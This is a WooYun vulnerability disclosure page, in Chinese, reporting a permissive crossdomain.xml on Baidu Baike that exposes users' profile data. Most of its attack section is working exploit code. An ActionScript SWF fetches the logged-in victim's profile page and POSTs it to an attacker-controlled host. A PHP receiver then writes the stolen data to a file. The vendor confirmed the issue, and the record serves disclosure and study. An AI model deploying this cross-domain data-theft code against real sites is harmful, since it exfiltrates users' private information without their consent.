当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163787

漏洞标题:点我链接就能看你百度百科个人资料

相关厂商:百度

漏洞作者: 海绵宝宝

提交时间:2015-12-23 11:22

修复时间:2016-02-06 10:45

公开时间:2016-02-06 10:45

漏洞类型:应用配置错误

危害等级:中

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-23: 细节已通知厂商并且等待厂商处理中
2015-12-23: 厂商已经确认,细节仅向厂商公开
2016-01-02: 细节向核心白帽子及相关领域专家公开
2016-01-12: 细节向普通白帽子公开
2016-01-22: 细节向实习白帽子公开
2016-02-06: 细节向公众公开

简要描述:

可查看百度百科个人信息,以查看
http://baike.baidu.com/usercenter/settings#profile
为例

详细说明:

由于http://baike.baidu.com/crossdomain.xml 配置不严
PoC,编译成swf

// Author: Gursev Singh Kalra ([email protected])
// XDomainXploit.as
// Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = "http://baike.baidu.com/usercenter/settings#profile";
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "http://xxxxxxxx/baike.php"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}
}


baike.php 用来接受信息。

<?php
$data = file_get_contents("php://input");
$ret = file_put_contents('/var/www/html/baike.html', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
die('Error writing to file');
}
else {
echo "$ret bytes written to file";
}
?>


漏洞证明:

访问http://xxx.xxx.xxx.xxx/XDomainXploit.swf

baike1.png

baike.png


参考: http://sethsec.blogspot.jp/2014/03/exploiting-misconfigured-crossdomainxml.html

修复方案:

版权声明:转载请注明来源 海绵宝宝@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-23 19:46

厂商回复:

感谢关注百度安全

最新状态:

暂无